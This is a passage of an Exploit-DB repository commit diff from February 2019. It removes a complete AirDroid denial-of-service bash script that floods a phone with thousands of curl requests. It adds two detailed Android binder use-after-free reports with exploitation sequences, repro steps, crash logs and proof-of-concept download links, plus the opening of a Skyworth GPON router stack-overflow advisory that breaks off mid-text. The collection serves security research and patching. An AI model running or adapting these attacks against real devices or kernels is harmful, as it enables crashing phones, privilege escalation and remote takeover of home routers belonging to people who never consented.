DB: 2019-02-13

16 changes to exploits/shellcodes AirDroid 4.2.1.6 - Denial of Service River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) Android - binder Use-After-Free via fdget() Optimization Android - binder Use-After-Free of VMA via race Between reclaim and munmap Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) runc< 1.0-rc6 (Docker < 18.09.2) - Host Command Execution Ubuntu snapd < 2.37.1 - Local Privilege Escalation IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting Webiness Inventory 2.3 - 'email' SQL Injection OPNsense < 19.1.1 - Cross-Site Scripting Jenkins 2.150.2 - Remote Command Execution (Metasploit) BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution LayerBB 1.1.2 - Cross-Site Scripting
2019-02-13 05:01:49 +00:00 · 2019-02-13 05:01:49 +00:00 · 1982f33252
commit 1982f33252
parent d622832ea0
14 changed files with 1409 additions and 104 deletions
--- a/exploits/android/dos/46337.sh
+++ b/exploits/android/dos/46337.sh
@ -1,95 +0,0 @@
-#!/bin/bash
-
-# *****************************************************
-# *       Author: Marcelo Vázquez (aka s4vitar)       *
-# *  AirDroid Denial of Service (DoS) & System Crash  *
-# *****************************************************
-
-# Exploit Title: AirDroid Remote Denial of Service (DoS) & System Crash
-# Date: 2019-02-07
-# Exploit Author: Marcelo Vázquez
-# Vendor Homepage: https://web.airdroid.com/
-# Software Link: https://play.google.com/store/apps/details?id=com.sand.airdroid&hl=en
-# Version: AirDroid 4.2.1.6
-# Tested on: Android
-
-#Colours
-greenColour="\e[0;32m\033[1m"
-endColour="\033[0m\e[0m"
-redColour="\e[0;31m\033[1m"
-blueColour="\e[0;34m\033[1m"
-yellowColour="\e[0;33m\033[1m"
-purpleColour="\e[0;35m\033[1m"
-turquoiseColour="\e[0;36m\033[1m"
-grayColour="\e[0;37m\033[1m"
-
-trap ctrl_c INT
-
-function ctrl_c() {
-	echo -e "\n\n${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour}Exiting...${endColour}\n" && tput cnorm
-	pkill curl > /dev/null 2>&1
-	exit
-}
-
-function check_host(){
-	# Target availability detection
-	echo -e "${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour} Checking host availability...${endColour}" && sleep 1
-
-	ping -c 1 $host > /dev/null 2>&1
-
-	if [ "$(echo $?)" == "0" ]; then
-		echo -e "\n\t${greenColour}--${endColour}${redColour} Host is active${endColour}${greenColour} --${endColour}\n"
-	else
-		echo -e "\n\t${greenColour}--${endColour}${redColour} Host is inactive${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit
-	fi
-
-	echo -e "${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${grayColour} Checking if port is open...${endColour}" && sleep 1
-
-	if [ "$(nmap -p$port --open -T5 -v -n $host | grep open)" ] && [ "$(nmap -p$port $host -sC -sV | grep -i airdroid)" ]; then
-		echo -e "\n\t${greenColour}--${endColour}${redColour} Port${endColour}${grayColour} $port${endColour}${redColour} is open!!${endColour}${greenColour} --${endColour}\n"
-		echo -e "\t${greenColour}--${endColour}${redColour} ${endColour}${turquoiseColour}Airdroid Service${endColour}${redColour} detected !!${endColour}${greenColour} --${endColour}\n"
-	elif [ "$(nmap -p$port --open -T5 -v -n $host | grep open)" ]; then
-		echo -e "\n\t${greenColour}--${endColour}${redColour} Port is open but it does not correspond to the ${endColour}${turquoiseColour}Airdroid service${endColour}${redColour}!!${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit
-	else
-		echo -e "\n\t${greenColour}--${endColour}${redColour} Port is closed!!${endColour}${greenColour} --${endColour}\n" && tput cnorm && exit
-	fi
-}
-
-function banner()
-{
-	sleep 0.2 && echo -e "\n$redColour    /\ $endColour"
-	sleep 0.2 && echo -e "$redColour   /  \ $endColour"
-	sleep 0.2 && echo -e "$redColour   |  | $endColour   $yellowColour[${endColour}${grayColour}AirDroid Denial of Service (DoS) [System Crash]${endColour}${yellowColour}]${endColour}"
-	sleep 0.2 && echo -e "$redColour   |  | $endColour          ${yellowColour}Author:${endColour}${grayColour} Marcelo Vázquez (aka s4vitar)${endColour}"
-	sleep 0.2 && echo -e "$redColour  / == \ $endColour"
-	sleep 0.2 && echo -e "$redColour  |/**\| $endColour"
-	sleep 0.2 && for i in $(seq 1 70); do echo -ne "${redColour}-${endColour}"; done && sleep 1 && echo
-}
-
-if [ "$(echo $#)" == "2" ]; then
-	tput civis && banner
-	host=$1 && port=$2
-	echo && check_host
-
-	# Path to launch the message box on the mobile device
-	url="http://$host:$port/sdctl/comm/lite_auth/"
-
-	tput cnorm && echo -ne "${yellowColour}You want to start the attack?${endColour}${grayColour} <${endColour}${redColour}y${endColour}${turquoiseColour}/${endColour}${blueColour}n${endColour}${grayColour}>${endColour}${grayColour}:${endColour} " && read attack_response
-
-	if [ "$(echo $attack_response)" == "y" ]; then
-		counter=0
-
-		# Start launch attack of the message boxes, so the Application crash and the device freezes
-		tput civis && while true; do
-			for i in $(seq 1 3000); do
-				curl --silent "$url" &
-				let counter+=1
-			done && wait
-			echo -e "\n${yellowColour}[${endColour}${redColour}*${endColour}${yellowColour}]${endColour}${redColour} $counter${endColour}${grayColour} requests successfully sent${endColour}${redColour}!!${endColour}"
-		done
-	else
-		:
-	fi
-else
-	echo -e "\n${blueColour}Usage: ${endColour}${redColour}./airdroid_dos.sh ${endColour}${yellowColour}<${endColour}${grayColour}ip_address${endColour}${yellowColour}>${endColour}${yellowColour} <${endColour}${grayColour}port${endColour}${yellowColour}>${endColour}\n"
-fi
--- a/exploits/android/dos/46356.txt
+++ b/exploits/android/dos/46356.txt
@ -0,0 +1,270 @@
+This bug report describes *two* different issues in different branches of the
+binder kernel code.
+The first issue is in the upstream Linux kernel,
+commit 7f3dc0088b98 ("binder: fix proc->files use-after-free");
+the second issue is in the wahoo kernel (and maybe elsewhere? but at least the
+android common kernel for 4.4 doesn't seem to contain this code...),
+commit 1b652c7c29b7 ("FROMLIST: binder: fix proc->files use-after-free")
+(WARNING: NOT the same as "UPSTREAM: binder: fix proc->files use-after-free" in
+the android common kernel!).
+
+Some background: In the Linux kernel, normally, when a `struct file *` is read
+from the file descriptor table, the reference counter of the `struct file` is
+bumped to account for the extra reference; this happens in fget(). Later, if the
+extra reference is not needed anymore, the refcount is dropped via fput().
+A negative effect of this is that, if the `struct file` is frequently accessed,
+the cacheline containing the reference count is constantly dirty; and if the
+`struct file` is used by multiple tasks in parallel, cache line bouncing occurs.
+
+Linux provides the helpers fdget() and fdput() to avoid this overhead.
+fdget() checks whether the reference count of the file descriptor table is 1,
+implying that the current task has sole ownership of the file descriptor table
+and no concurrent modifications of the file descriptor table can occur. If this
+check succeeds, fdget() then omits the reference count increment on the
+`struct file`. fdget() sets a flag in its return value that signals to fdput()
+whether a reference count has been taken. If so, fdput() uses the normal fput()
+logic; if not, fdput() does nothing.
+
+This optimization relies on a few rules, including:
+
+A) A reference taken via fdget() must be dropped with fdput() before the end of
+   the syscall.
+B) A task's reference to its file descriptor table may only be duplicated for
+   writing if that task is known to not be between fdget() and fdput().
+C) A task that might be between an elided fdget() and fdput() must not
+   use ksys_close() on the same file descriptor number as used for fdget().
+
+
+
+The current upstream code violates rule C. The following sequence of events can
+cause fput() to drop the reference count of an in-use binder file to drop to
+zero:
+
+Task A and task B are connected via binder; task A has /dev/binder open at
+file descriptor number X. Both tasks are single-threaded.
+
+ - task B sends a binder message with a file descriptor array (BINDER_TYPE_FDA)
+   containing one file descriptor to task A
+ - task A reads the binder message with the translated file descriptor number Y
+ - task A uses dup2(X, Y) to overwrite file descriptor Y with the /dev/binder
+   file
+ - task A unmaps the userspace binder memory mapping; the reference count on
+   task A's /dev/binder is now 2
+ - task A closes file descriptor X; the reference count on task A's /dev/binder
+   is now 1
+ - task A invokes the BC_FREE_BUFFER command on file descriptor X to release the
+   incoming binder message
+ - fdget() elides the reference count increment, since the file descriptor
+   table is not shared
+ - the BC_FREE_BUFFER handler removes the file descriptor table entry for X and
+   decrements the reference count of task A's /dev/binder file to zero
+
+Because fput() uses the task work mechanism to actually free the file, this
+doesn't immediately cause a use-after-free that KASAN can detect; for that, the
+following sequence of events works:
+
+[...]
+ - task A closes file descriptor X; the reference count on task A's /dev/binder
+   is now 1
+ - task A forks off a child, task C, duplicating the file descriptor table; the
+   reference count on task A's /dev/binder is now 2
+ - task A invokes the BC_FREE_BUFFER command on file descriptor X to release the
+   incoming binder message
+ - fdget() in ksys_ioctl() elides the reference count increment, since the file
+   descriptor table is not shared
+ - the BC_FREE_BUFFER handler removes the file descriptor table entry for X and
+   decrements the reference count of task A's /dev/binder file to 1
+ - task C calls close(X), which drops the reference count of task A's
+   /dev/binder to 0 and frees it
+ - task A continues processing of the ioctl and accesses some property of e.g.
+   the binder_proc => KASAN-detectable UAF
+
+To reproduce this on an upstream git master kernel on a normal machine, unpack
+the attached binder_fdget.tar, apply the patch
+0001-binder-upstream-repro-aid.patch to the kernel (adds some logging and an
+msleep() call), make sure that the kernel is configured with Binder and KASAN,
+build and boot into the kernel, then build the PoC with ./compile.sh.
+Invoke "./exploit_manager" in one terminal and "./exploit_client" in another
+terminal. You should see a splat like this in dmesg:
+
+=================
+[   90.900693] BUG: KASAN: use-after-free in mutex_lock+0x77/0xd0
+[   90.903933] Write of size 8 at addr ffff8881da262720 by task exploit_client/1222
+
+[   90.908991] CPU: 4 PID: 1222 Comm: exploit_client Tainted: G        W         4.20.0-rc3+ #214
+[   90.911524] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
+[   90.913989] Call Trace:
+[   90.914768]  dump_stack+0x71/0xab
+[   90.915782]  print_address_description+0x6a/0x270
+[   90.917199]  kasan_report+0x260/0x380
+[   90.918307]  ? mutex_lock+0x77/0xd0
+[   90.919387]  mutex_lock+0x77/0xd0
+[...]
+[   90.925971]  binder_alloc_prepare_to_free+0x22/0x130
+[   90.927429]  binder_thread_write+0x7c1/0x1b20
+[...]
+[   90.944008]  binder_ioctl+0x916/0xe80
+[...]
+[   90.955530]  do_vfs_ioctl+0x134/0x8f0
+[...]
+[   90.961135]  ksys_ioctl+0x70/0x80
+[   90.962070]  __x64_sys_ioctl+0x3d/0x50
+[   90.963125]  do_syscall_64+0x73/0x160
+[   90.964162]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+[...]
+
+[   90.984647] Allocated by task 1222:
+[   90.985614]  kasan_kmalloc+0xa0/0xd0
+[   90.986602]  kmem_cache_alloc_trace+0x6e/0x1e0
+[   90.987818]  binder_open+0x93/0x3d0
+[   90.988806]  misc_open+0x18f/0x230
+[   90.989744]  chrdev_open+0x14d/0x2d0
+[   90.990725]  do_dentry_open+0x455/0x6b0
+[   90.991809]  path_openat+0x52e/0x20d0
+[   90.992822]  do_filp_open+0x124/0x1d0
+[   90.993824]  do_sys_open+0x213/0x2c0
+[   90.994802]  do_syscall_64+0x73/0x160
+[   90.995804]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+
+[   90.997605] Freed by task 12:
+[   90.998420]  __kasan_slab_free+0x130/0x180
+[   90.999538]  kfree+0x90/0x1d0
+[   91.000361]  binder_deferred_func+0x7b1/0x890
+[   91.001564]  process_one_work+0x42b/0x790
+[   91.002651]  worker_thread+0x69/0x690
+[   91.003647]  kthread+0x1ae/0x1d0
+[   91.004530]  ret_from_fork+0x35/0x40
+
+[   91.005919] The buggy address belongs to the object at ffff8881da2625a8
+                which belongs to the cache kmalloc-1k of size 1024
+[   91.009267] The buggy address is located 376 bytes inside of
+                1024-byte region [ffff8881da2625a8, ffff8881da2629a8)
+[...]
+=================
+
+
+
+The code in the msm kernel (at least branches android-msm-wahoo-4.4-pie and
+android-msm-wahoo-4.4-pie-qpr1) contains a different bug. In this version of the
+code, the binder driver does not hold a long-lived reference to the files_struct
+of each task, as it used to, but instead uses
+binder_get_files_struct()->get_files_struct() to grab the file descriptor table
+of the target task for short-lived operations. Apart from the problems in
+interaction with non-bounded privilege transitions, this is also problematic
+because it violates rule B: In particular task_close_fd() can close a file
+descriptor in another process while that other process is potentially in the
+middle of a filesystem operation that uses an elided fdget().
+
+The bug triggers in the following scenario (not quite what my PoC does, but
+should give you the basic idea):
+
+ - task B opens some file as file descriptor number Y
+ - task A starts sending a transaction to task B
+ - the kernel transfers one file descriptor to task B, creating file descriptor
+   number X in task B
+ - task B uses dup2(Y, X) to override file descriptor number X with file F
+ - task B closes file descriptor number Y
+ - task B enters a syscall such as read()/write()/... on file descriptor number
+   X
+ - the kernel continues transferring the transaction from A, but encounters an
+   error (e.g. invalid fd number) and has to bail out, triggering cleanup of
+   already-transferred file descriptors
+ - while task B is in the middle of a syscall, task A closes task B's file
+   descriptor number X
+
+To test this on-device, I would have to write code to talk to the service
+manager and somehow get the service manager to connect two binder files with
+each other for me, which seems complicated. Therefore, instead, I took the
+following files from the Android wahoo kernel and copied them into an upstream
+git master tree, then fixed up the incompatibilities:
+
+drivers/android/Kconfig
+drivers/android/Makefile
+drivers/android/binder.c
+drivers/android/binder_alloc.c
+drivers/android/binder_alloc.h
+drivers/android/binder_trace.h
+include/uapi/linux/android/binder.h
+
+The attached binder_fdget_wahoo.tar contains three patches:
+
+0001-copy-over-binder-files-from-wahoo-4.4.patch: copy the files from wahoo into
+        the upstream git master tree
+0002-fix-up-for-git-master.patch: make it build
+0003-binder-stuff-for-testing.patch: add some sleeps and prints for reproducing
+        the bug
+
+Apply these to the upstream kernel and build it (make sure that it is configured
+to build with binder and KASAN). Then compile the wahoo PoC with ./compile.sh,
+run ./exploit_manager in one terminal, and run ./exploit_client in another
+terminal. You should get a splat like this:
+
+=================
+[  204.465949] BUG: KASAN: use-after-free in _raw_spin_lock+0x78/0xe0
+[  204.469894] Write of size 4 at addr ffff8881db79e84c by task exploit_client/1255
+
+[  204.473958] CPU: 6 PID: 1255 Comm: exploit_client Not tainted 4.20.0-rc3+ #218
+[  204.476098] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
+[  204.479413] Call Trace:
+[  204.480169]  dump_stack+0x71/0xab
+[  204.481187]  print_address_description+0x6a/0x270
+[  204.482591]  kasan_report+0x260/0x380
+[  204.484156]  ? _raw_spin_lock+0x78/0xe0
+[  204.485336]  _raw_spin_lock+0x78/0xe0
+[...]
+[  204.491337]  binder_update_ref_for_handle+0x34/0x280
+[  204.492811]  binder_thread_write+0xab4/0x1b70
+[...]
+[  204.511627]  binder_ioctl_write_read.isra.55+0x155/0x3e0
+[...]
+[  204.516826]  binder_ioctl+0x5da/0x880
+[...]
+[  204.522154]  do_vfs_ioctl+0x134/0x8f0
+[...]
+[  204.530212]  ksys_ioctl+0x70/0x80
+[  204.531142]  __x64_sys_ioctl+0x3d/0x50
+[  204.532193]  do_syscall_64+0x73/0x160
+[  204.533495]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+[...]
+
+[  204.553564] Allocated by task 1255:
+[  204.554521]  kasan_kmalloc+0xa0/0xd0
+[  204.555507]  kmem_cache_alloc_trace+0x6e/0x1e0
+[  204.556729]  binder_open+0x90/0x400
+[  204.557681]  misc_open+0x18f/0x230
+[  204.558603]  chrdev_open+0x14d/0x2d0
+[  204.559573]  do_dentry_open+0x455/0x6b0
+[  204.560620]  path_openat+0x52e/0x20d0
+[  204.561618]  do_filp_open+0x124/0x1d0
+[  204.562617]  do_sys_open+0x213/0x2c0
+[  204.563588]  do_syscall_64+0x73/0x160
+[  204.564580]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+
+[  204.566378] Freed by task 7:
+[  204.567156]  __kasan_slab_free+0x130/0x180
+[  204.568251]  kfree+0x90/0x1d0
+[  204.569059]  binder_deferred_func+0x742/0x7d0
+[  204.570229]  process_one_work+0x42b/0x790
+[  204.571304]  worker_thread+0x69/0x690
+[  204.572289]  kthread+0x1ae/0x1d0
+[  204.573265]  ret_from_fork+0x35/0x40
+
+[  204.574643] The buggy address belongs to the object at ffff8881db79e628
+                which belongs to the cache kmalloc-1k of size 1024
+[  204.578833] The buggy address is located 548 bytes inside of
+                1024-byte region [ffff8881db79e628, ffff8881db79ea28)
+[...]
+=================
+
+
+
+I think the robust fix for this might be to change ksys_ioctl() and the compat
+ioctl syscall to use fget()/fput() instead of fdget()/fdput(). Unless someone
+out there has a workload that very frequently calls ioctl() from concurrent
+single-threaded processes that share a struct file, I doubt that this would have
+significant performance impact, and I think it should be an appropriate fix for
+the upstream kernel, too.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46356.zip
--- a/exploits/android/dos/46357.txt
+++ b/exploits/android/dos/46357.txt
@ -0,0 +1,226 @@
+The following bug report solely looks at the situation on the upstream master
+branch; while from a cursory look, at least the wahoo kernel also looks
+affected, I have only properly tested this on upstream master.
+
+There is a race condition between the direct reclaim path (enters binder through
+the binder_shrinker) and the munmap() syscall (enters binder through the ->close
+handler of binder_vm_ops).
+
+Coming from the munmap() syscall:
+
+binder_vma_close()->binder_alloc_vma_close()->binder_alloc_set_vma() sets
+alloc->vma to NULL without taking any extra locks; binder_vma_close() is called
+from remove_vma()<-remove_vma_list()<-__do_munmap()<-__vm_munmap()<-sys_munmap()
+with only the mmap_sem held for writing.
+
+Coming through the direct reclaim path:
+
+binder_alloc_free_page() doesn't hold the mmap_sem on entry. It contains the
+following code (comments added by me):
+
+enum lru_status binder_alloc_free_page(struct list_head *item,
+                                       struct list_lru_one *lru,
+                                       spinlock_t *lock,
+                                       void *cb_arg)
+{
+[...]
+        alloc = page->alloc;
+        if (!mutex_trylock(&alloc->mutex))
+                goto err_get_alloc_mutex_failed;
+
+        if (!page->page_ptr)
+                goto err_page_already_freed;
+
+        index = page - alloc->pages;
+        page_addr = (uintptr_t)alloc->buffer + index * PAGE_SIZE;
+        // unprotected pointer read! `vma` can immediately be freed
+        vma = binder_alloc_get_vma(alloc);
+        if (vma) {
+                if (!mmget_not_zero(alloc->vma_vm_mm))
+                        goto err_mmget;
+                mm = alloc->vma_vm_mm;
+                if (!down_write_trylock(&mm->mmap_sem))
+                        goto err_down_write_mmap_sem_failed;
+                // mmap_sem is held at this point, but the vma pointer was read
+                // before and can be dangling
+        }
+
+        list_lru_isolate(lru, item);
+        spin_unlock(lock);
+
+        if (vma) {
+                trace_binder_unmap_user_start(alloc, index);
+
+                // dangling vma pointer passed to zap_page_range
+                zap_page_range(vma,
+                               page_addr + alloc->user_buffer_offset,
+                               PAGE_SIZE);
+
+                trace_binder_unmap_user_end(alloc, index);
+
+                up_write(&mm->mmap_sem);
+                mmput(mm);
+        }
+
+
+Repro instructions:
+
+Unpack the attached binder_race_freevma.tar.
+Apply the patch 0001-binder-VMA-unprotected-read-helper.patch to an upstream
+git master tree to widen the race window.
+Make sure that KASAN is enabled in your kernel config.
+Build and boot into the built kernel.
+Run "echo 16383 > /sys/module/binder/parameters/debug_mask" for more dmesg debug
+output.
+Compile the PoC with ./compile.sh and, as root, run ./poc to trigger the bug.
+
+The output of the PoC should look like this:
+======================
+# ./poc
+### PING
+0000: 00 . 00 . 00 . 00 .
+BR_NOOP:
+BR_TRANSACTION:
+  target 0000000000000000  cookie 0000000000000000  code 00000001  flags 00000010
+  pid     1266  uid        0  data 4  offs 0
+0000: 00 . 00 . 00 . 00 .
+got transaction!
+binder_send_reply(status=0)
+offsets=0x7fffb76cf6c0, offsets_size=0
+BR_NOOP:
+BR_TRANSACTION_COMPLETE:
+BR_REPLY:
+  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
+  pid        0  uid        0  data 4  offs 0
+0000: 00 . 00 . 00 . 00 .
+### FLUSHING PAGES
+BR_NOOP:
+BR_TRANSACTION_COMPLETE:
+### END OF PAGE FLUSH
+binder_done: freeing buffer
+binder_done: free done
+### PING DONE
+### FLUSHING PAGES
+$$$ sleeping before munmap...
+$$$ calling munmap now...
+$$$ munmap done
+### END OF PAGE FLUSH
+Killed
+======================
+
+The dmesg splat should look like this:
+======================
+[  803.130180] binder: binder_open: 1265:1265
+[  803.132143] binder: binder_mmap: 1265 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep 8000000000000025
+[  803.135861] binder: 1265:1265 node 1 u0000000000000000 c0000000000000000 created
+[  803.138748] binder: 1265:1265 write 4 at 00007fffb76cf820, read 0 at 0000000000000000
+[  803.141875] binder: 1265:1265 BC_ENTER_LOOPER
+[  803.143634] binder: 1265:1265 wrote 4 of 4, read return 0 of 0
+[  803.146073] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
+[  804.130600] binder: binder_open: 1266:1266
+[  804.132909] binder: binder_mmap: 1266 7fdcbc599000-7fdcbc999000 (4096 K) vma 71 pagep 8000000000000025
+[  804.138535] binder: 1266:1266 write 68 at 00007fffb76cf850, read 128 at 00007fffb76cf7d0
+[  804.142411] binder: 1266:1266 BC_TRANSACTION 2 -> 1265 - node 1, data 00007fffb76cf9a0-00007fffb76cf980 size 4-0-0
+[  804.146208] binder: 1265:1265 BR_TRANSACTION 2 1266:1266, cmd -2143260158 size 4-0 ptr 00007fdcbc599000-00007fdcbc599008
+[  804.152836] binder: 1265:1265 wrote 0 of 0, read return 72 of 128
+[  804.156944] binder: 1265:1265 write 88 at 00007fffb76cf5a0, read 0 at 0000000000000000
+[  804.159315] binder: 1265:1265 BC_FREE_BUFFER u00007fdcbc599000 found buffer 2 for active transaction
+[  804.161715] binder: 1265 buffer release 2, size 4-0, failed at 000000003c152ea0
+[  804.164114] binder: 1265:1265 BC_REPLY 3 -> 1266:1266, data 00007fffb76cf6e0-00007fffb76cf6c0 size 4-0-0
+[  804.166646] binder: 1265:1265 wrote 88 of 88, read return 0 of 0
+[  804.166756] binder: 1266:1266 BR_TRANSACTION_COMPLETE
+[  804.168323] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
+[  804.169876] binder: 1266:1266 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007fdcbc599000-00007fdcbc599008
+[  804.171919] binder: 1265:1265 BR_TRANSACTION_COMPLETE
+[  804.174743] binder: 1266:1266 wrote 68 of 68, read return 76 of 128
+[  804.176003] binder: 1265:1265 wrote 0 of 0, read return 8 of 128
+[  804.179416] binder: 1265:1265 write 0 at 0000000000000000, read 128 at 00007fffb76cf820
+[  804.179755] binder_alloc: binder_alloc_free_page() starting delay for alloc=000000005f5225f3
+[  804.680227] binder_alloc: binder_alloc_free_page() ending delay for alloc=000000005f5225f3
+[  804.735851] poc (1266): drop_caches: 2
+[  804.772381] binder: 1266:1266 write 12 at 00007fffb76cf8d4, read 0 at 0000000000000000
+[  804.774629] binder: 1266:1266 BC_FREE_BUFFER u00007fdcbc599000 found buffer 3 for finished transaction
+[  804.791063] binder: 1266 buffer release 3, size 4-0, failed at 000000003c152ea0
+[  804.792753] binder: 1266:1266 wrote 12 of 12, read return 0 of 0
+[  804.833806] binder_alloc: binder_alloc_free_page() starting delay for alloc=0000000083fec45f
+[  805.034060] binder: 1266 close vm area 7fdcbc599000-7fdcbc999000 (4096 K) vma 18020051 pagep 8000000000000025
+[  805.041265] binder_alloc: starting binder_alloc_vma_close() for alloc=0000000083fec45f
+[  805.045625] binder_alloc: ending binder_alloc_vma_close() for alloc=0000000083fec45f
+[  805.331890] binder_alloc: binder_alloc_free_page() ending delay for alloc=0000000083fec45f
+[  805.333845] ==================================================================
+[  805.338188] BUG: KASAN: use-after-free in zap_page_range+0x7c/0x270
+[  805.342064] Read of size 8 at addr ffff8881cd86ba80 by task poc/1266
+
+[  805.346390] CPU: 0 PID: 1266 Comm: poc Not tainted 4.20.0-rc3+ #222
+[  805.348277] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
+[  805.350777] Call Trace:
+[  805.351528]  dump_stack+0x71/0xab
+[  805.352536]  print_address_description+0x6a/0x270
+[  805.353947]  kasan_report+0x260/0x380
+[...]
+[  805.356241]  zap_page_range+0x7c/0x270
+[...]
+[  805.363990]  binder_alloc_free_page+0x41a/0x560
+[...]
+[  805.369678]  __list_lru_walk_one.isra.12+0x8c/0x1c0
+[...]
+[  805.373458]  list_lru_walk_one+0x42/0x60
+[  805.374666]  binder_shrink_scan+0xe2/0x130
+[...]
+[  805.378626]  shrink_slab.constprop.89+0x252/0x530
+[...]
+[  805.383716]  drop_slab+0x3b/0x70
+[  805.384721]  drop_caches_sysctl_handler+0x4d/0xc0
+[  805.386150]  proc_sys_call_handler+0x162/0x180
+[...]
+[  805.392156]  __vfs_write+0xc4/0x370
+[...]
+[  805.399347]  vfs_write+0xe7/0x230
+[  805.400355]  ksys_write+0xa1/0x120
+[...]
+[  805.403501]  do_syscall_64+0x73/0x160
+[  805.404488]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+[...]
+
+[  805.424394] Allocated by task 1266:
+[  805.425372]  kasan_kmalloc+0xa0/0xd0
+[  805.426264]  kmem_cache_alloc+0xdc/0x1e0
+[  805.427349]  vm_area_alloc+0x1b/0x80
+[  805.428398]  mmap_region+0x4db/0xa60
+[  805.429708]  do_mmap+0x44d/0x6f0
+[  805.430564]  vm_mmap_pgoff+0x163/0x1b0
+[  805.431664]  ksys_mmap_pgoff+0x2cf/0x330
+[  805.432791]  do_syscall_64+0x73/0x160
+[  805.433839]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+
+[  805.435754] Freed by task 1267:
+[  805.436527]  __kasan_slab_free+0x130/0x180
+[  805.437650]  kmem_cache_free+0x73/0x1c0
+[  805.438812]  remove_vma+0x8d/0xa0
+[  805.439792]  __do_munmap+0x443/0x690
+[  805.440871]  __vm_munmap+0xbf/0x130
+[  805.441882]  __x64_sys_munmap+0x3c/0x50
+[  805.442926]  do_syscall_64+0x73/0x160
+[  805.443951]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
+
+[  805.445926] The buggy address belongs to the object at ffff8881cd86ba40
+                which belongs to the cache vm_area_struct of size 200
+[  805.449363] The buggy address is located 64 bytes inside of
+                200-byte region [ffff8881cd86ba40, ffff8881cd86bb08)
+[...]
+[  805.475924] ==================================================================
+[  805.477921] Disabling lock debugging due to kernel taint
+[  805.479843] poc (1266): drop_caches: 2
+[  810.482080] binder: 1265 close vm area 7fdcbc599000-7fdcbc999000 (4096 K) vma 18020051 pagep 8000000000000025
+[  810.482406] binder: binder_flush: 1266 woke 0 threads
+[  810.488231] binder_alloc: starting binder_alloc_vma_close() for alloc=000000005f5225f3
+[  810.490091] binder: binder_deferred_release: 1266 threads 1, nodes 0 (ref 0), refs 0, active transactions 0
+[  810.493418] binder_alloc: ending binder_alloc_vma_close() for alloc=000000005f5225f3
+[  810.498145] binder: binder_flush: 1265 woke 0 threads
+[  810.499442] binder: binder_deferred_release: 1265 context_mgr_node gone
+[  810.501178] binder: binder_deferred_release: 1265 threads 1, nodes 1 (ref 0), refs 0, active transactions 0
+======================
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46357.zip
--- a/exploits/asp/dos/46358.py
+++ b/exploits/asp/dos/46358.py
@ -0,0 +1,142 @@
+'''
+========================================================
+Unauthenticated  Stack Overflow in Multiple Gpon Devices
+========================================================
+
+. contents:: Table Of Content
+
+Overview
+========
+
+Title:- StackOverflow in Multiple Skyworth GPON HomeGateways and Optical Network terminals. 
+CVE-ID :- CVE-2018-19524
+Author: Kaustubh G. Padwad
+Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products)
+Products:
+   1.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
+  2.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
+  3.DT721-cb GPON uplink home gateway (GPON+2FE+1POTS)
+  4.DT721-cb GPON Uplink Home Gateway (GPON+2FE+1POTS)
+  5.DT741-cb GPON uplink home gateway (GPON+4FE+1POTS+WIFI+USB)
+  6.DT741-cb GPON Uplink Home Gateway (GPON+4FE+1POTS+WIFI+USB)
+  7.DT741-cbGPON uplink home gateway DT741-cb
+
+
+Tested Version: : Multiple versions
+Severity: High--Critical
+
+Advisory ID
+============
+KSA-Dev-001
+
+About the Product:
+==================
+
+* The (products from above list)  is a high performance GPON access gateway that complies with ITU-G.984 and CTC standards.
+* Configure a GPON optical interface, two FEs, one POTS
+* Provide Ethernet, VOIP and other interfaces to meet the access requirements of different devices.
+* It can provide high-performance broadband access services for home users, individual users, and SOHO small businesses.
+* Supports the standard TR069 protocol,which can be flexibly customized according to the carrier network and is compatible with mainstream OLT,software switching and service management platforms
+
+Description: 
+============
+An issue was discovered on Shenzhen Skyworth
+DT741 Converged Intelligent Terminal (G/EPON+IPTV) SDOTBGN1,DT721-cb SDOTBGN1,and DT741-cb SDOTBGN1 devices.
+A long password to the Web_passwd function allows remote attackers to cause a denial of service (segmentation fault) or
+achieve unauthenticated remote code execution because of control of registers
+S0 through S4 and T4 through T7.
+
+
+Additional Information
+========================
+The value of password under Web_passwd function is not getting sanitized,so passing too much junk data to the password parameter triggers to the SIGSEGV segmentation fault in device, post research it
+was possible to control the registers from S0-S4 and T4-T7.A Successful exploitation could leads to unauthenticated remote code execution on device.
+
+
+[Affected Component]
+web_passwd function inside the boa web server implementation.
+
+------------------------------------------
+[Attack Type]
+Remote
+------------------------------------------
+[Impact Code execution]
+true
+------------------------------------------
+[Impact Denial of Service]
+true
+
+------------------------------------------
+[Attack Vectors]
+Remote code execution by running the poc.py against the target ip address.
+
+[Vulnerability Type]
+====================
